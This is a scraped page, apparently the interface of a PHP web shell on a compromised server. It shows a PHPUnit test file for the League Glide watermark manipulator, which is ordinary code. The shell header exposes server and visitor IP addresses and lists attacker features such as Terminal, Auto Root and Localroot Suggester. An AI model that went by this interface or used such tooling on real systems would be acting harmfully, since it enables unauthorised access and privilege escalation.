Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.188.152.124
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
league /
glide /
tests /
Manipulators /
Delete
Unzip
Name
Size
Permission
Date
Action
Helpers
[ DIR ]
drwxr-xr-x
2020-11-05 09:00
BackgroundTest.php
1.27
KB
-rw-r--r--
2020-11-05 09:00
BlurTest.php
1.38
KB
-rw-r--r--
2020-11-05 09:00
BorderTest.php
3.98
KB
-rw-r--r--
2020-11-05 09:00
BrightnessTest.php
1.43
KB
-rw-r--r--
2020-11-05 09:00
ContrastTest.php
1.41
KB
-rw-r--r--
2020-11-05 09:00
CropTest.php
2.8
KB
-rw-r--r--
2020-11-05 09:00
EncodeTest.php
5.64
KB
-rw-r--r--
2020-11-05 09:00
FilterTest.php
2.32
KB
-rw-r--r--
2020-11-05 09:00
FlipTest.php
1.26
KB
-rw-r--r--
2020-11-05 09:00
GammaTest.php
1.57
KB
-rw-r--r--
2020-11-05 09:00
OrientationTest.php
1.88
KB
-rw-r--r--
2020-11-05 09:00
PixelateTest.php
1.43
KB
-rw-r--r--
2020-11-05 09:00
SharpenTest.php
1.42
KB
-rw-r--r--
2020-11-05 09:00
SizeTest.php
10.42
KB
-rw-r--r--
2020-11-05 09:00
WatermarkTest.php
9.61
KB
-rw-r--r--
2020-11-05 09:00
Save
Rename
<?php namespace League\Glide\Manipulators; use League\Glide\Filesystem\FilesystemException; use Mockery; use PHPUnit\Framework\TestCase; class WatermarkTest extends TestCase { private $manipulator; public function setUp(): void { $this->manipulator = new Watermark( Mockery::mock('League\Flysystem\FilesystemInterface') ); } public function tearDown(): void { Mockery::close(); } public function testCreateInstance() { $this->assertInstanceOf('League\Glide\Manipulators\Watermark', $this->manipulator); } public function testSetWatermarks() { $this->manipulator->setWatermarks(Mockery::mock('League\Flysystem\FilesystemInterface')); $this->assertInstanceOf('League\Flysystem\FilesystemInterface', $this->manipulator->getWatermarks()); } public function testGetWatermarks() { $this->assertInstanceOf('League\Flysystem\FilesystemInterface', $this->manipulator->getWatermarks()); } public function testSetWatermarksPathPrefix() { $this->manipulator->setWatermarksPathPrefix('watermarks/'); $this->assertEquals('watermarks', $this->manipulator->getWatermarksPathPrefix()); } public function testGetWatermarksPathPrefix() { $this->assertEquals('', $this->manipulator->getWatermarksPathPrefix()); } public function testRun() { $image = Mockery::mock('Intervention\Image\Image', function ($mock) { $mock->shouldReceive('insert')->once(); $mock->shouldReceive('getDriver')->andReturn(Mockery::mock('Intervention\Image\AbstractDriver', function ($mock) { $mock->shouldReceive('init')->with('content')->andReturn(Mockery::mock('Intervention\Image\Image', function ($mock) { $mock->shouldReceive('width')->andReturn(0)->once(); $mock->shouldReceive('resize')->once(); }))->once(); }))->once(); }); $this->manipulator->setWatermarks(Mockery::mock('League\Flysystem\FilesystemInterface', function ($watermarks) { $watermarks->shouldReceive('has')->with('image.jpg')->andReturn(true)->once(); $watermarks->shouldReceive('read')->with('image.jpg')->andReturn('content')->once(); })); $this->manipulator->setParams([ 'mark' => 'image.jpg', 'markw' => '100', 'markh' => '100', 'markpad' => '10', ]); $this->assertInstanceOf( 'Intervention\Image\Image', $this->manipulator->run($image) ); } /** * @doesNotPerformAssertions */ public function testGetImage() { $this->manipulator->getWatermarks() ->shouldReceive('has') ->with('watermarks/image.jpg') ->andReturn(true) ->once() ->shouldReceive('read') ->with('watermarks/image.jpg') ->andReturn('content') ->once(); $this->manipulator->setWatermarksPathPrefix('watermarks'); $driver = Mockery::mock('Intervention\Image\AbstractDriver'); $driver->shouldReceive('init') ->with('content') ->andReturn(Mockery::mock('Intervention\Image\Image')) ->once(); $image = Mockery::mock('Intervention\Image\Image'); $image->shouldReceive('getDriver') ->andReturn($driver) ->once(); $this->manipulator->setParams(['mark' => 'image.jpg'])->getImage($image); } public function testGetImageWithUnreadableSource() { $this->expectException(FilesystemException::class); $this->expectExceptionMessage('Could not read the image `image.jpg`.'); $this->manipulator->getWatermarks() ->shouldReceive('has') ->with('image.jpg') ->andReturn(true) ->once() ->shouldReceive('read') ->with('image.jpg') ->andReturn(false) ->once(); $image = Mockery::mock('Intervention\Image\Image'); $this->manipulator->setParams(['mark' => 'image.jpg'])->getImage($image); } public function testGetImageWithoutMarkParam() { $image = Mockery::mock('Intervention\Image\Image'); $this->assertNull($this->manipulator->getImage($image)); } public function testGetImageWithEmptyMarkParam() { $image = Mockery::mock('Intervention\Image\Image'); $this->assertNull($this->manipulator->setParams(['mark' => ''])->getImage($image)); } public function testGetImageWithoutWatermarksFilesystem() { $this->manipulator->setWatermarks(null); $image = Mockery::mock('Intervention\Image\Image'); $this->assertNull($this->manipulator->setParams(['mark' => 'image.jpg'])->getImage($image)); } public function testGetDimension() { $image = Mockery::mock('Intervention\Image\Image'); $image->shouldReceive('width')->andReturn(2000); $image->shouldReceive('height')->andReturn(1000); $this->assertSame(300.0, $this->manipulator->setParams(['w' => '300'])->getDimension($image, 'w')); $this->assertSame(300.0, $this->manipulator->setParams(['w' => 300])->getDimension($image, 'w')); $this->assertSame(1000.0, $this->manipulator->setParams(['w' => '50w'])->getDimension($image, 'w')); $this->assertSame(500.0, $this->manipulator->setParams(['w' => '50h'])->getDimension($image, 'w')); $this->assertSame(null, $this->manipulator->setParams(['w' => '101h'])->getDimension($image, 'w')); $this->assertSame(null, $this->manipulator->setParams(['w' => -1])->getDimension($image, 'w')); $this->assertSame(null, $this->manipulator->setParams(['w' => ''])->getDimension($image, 'w')); } public function testGetDpr() { $this->assertSame(1.0, $this->manipulator->setParams(['dpr' => 'invalid'])->getDpr()); $this->assertSame(1.0, $this->manipulator->setParams(['dpr' => '-1'])->getDpr()); $this->assertSame(1.0, $this->manipulator->setParams(['dpr' => '9'])->getDpr()); $this->assertSame(2.0, $this->manipulator->setParams(['dpr' => '2'])->getDpr()); } public function testGetFit() { $this->assertSame('contain', $this->manipulator->setParams(['markfit' => 'contain'])->getFit()); $this->assertSame('max', $this->manipulator->setParams(['markfit' => 'max'])->getFit()); $this->assertSame('stretch', $this->manipulator->setParams(['markfit' => 'stretch'])->getFit()); $this->assertSame('crop', $this->manipulator->setParams(['markfit' => 'crop'])->getFit()); $this->assertSame('crop-top-left', $this->manipulator->setParams(['markfit' => 'crop-top-left'])->getFit()); $this->assertSame('crop-top', $this->manipulator->setParams(['markfit' => 'crop-top'])->getFit()); $this->assertSame('crop-top-right', $this->manipulator->setParams(['markfit' => 'crop-top-right'])->getFit()); $this->assertSame('crop-left', $this->manipulator->setParams(['markfit' => 'crop-left'])->getFit()); $this->assertSame('crop-center', $this->manipulator->setParams(['markfit' => 'crop-center'])->getFit()); $this->assertSame('crop-right', $this->manipulator->setParams(['markfit' => 'crop-right'])->getFit()); $this->assertSame('crop-bottom-left', $this->manipulator->setParams(['markfit' => 'crop-bottom-left'])->getFit()); $this->assertSame('crop-bottom', $this->manipulator->setParams(['markfit' => 'crop-bottom'])->getFit()); $this->assertSame('crop-bottom-right', $this->manipulator->setParams(['markfit' => 'crop-bottom-right'])->getFit()); $this->assertSame(null, $this->manipulator->setParams(['markfit' => null])->getFit()); $this->assertSame(null, $this->manipulator->setParams(['markfit' => 'invalid'])->getFit()); } public function testGetPosition() { $this->assertSame('top-left', $this->manipulator->setParams(['markpos' => 'top-left'])->getPosition()); $this->assertSame('top', $this->manipulator->setParams(['markpos' => 'top'])->getPosition()); $this->assertSame('top-right', $this->manipulator->setParams(['markpos' => 'top-right'])->getPosition()); $this->assertSame('left', $this->manipulator->setParams(['markpos' => 'left'])->getPosition()); $this->assertSame('center', $this->manipulator->setParams(['markpos' => 'center'])->getPosition()); $this->assertSame('right', $this->manipulator->setParams(['markpos' => 'right'])->getPosition()); $this->assertSame('bottom-left', $this->manipulator->setParams(['markpos' => 'bottom-left'])->getPosition()); $this->assertSame('bottom', $this->manipulator->setParams(['markpos' => 'bottom'])->getPosition()); $this->assertSame('bottom-right', $this->manipulator->setParams(['markpos' => 'bottom-right'])->getPosition()); $this->assertSame('bottom-right', $this->manipulator->setParams([])->getPosition()); $this->assertSame('bottom-right', $this->manipulator->setParams(['markpos' => 'invalid'])->getPosition()); } public function testGetAlpha() { $this->assertSame(100, $this->manipulator->setParams(['markalpha' => 'invalid'])->getAlpha()); $this->assertSame(100, $this->manipulator->setParams(['markalpha' => 255])->getAlpha()); $this->assertSame(100, $this->manipulator->setParams(['markalpha' => -1])->getAlpha()); $this->assertSame(65, $this->manipulator->setParams(['markalpha' => '65'])->getAlpha()); $this->assertSame(65, $this->manipulator->setParams(['markalpha' => 65])->getAlpha()); } }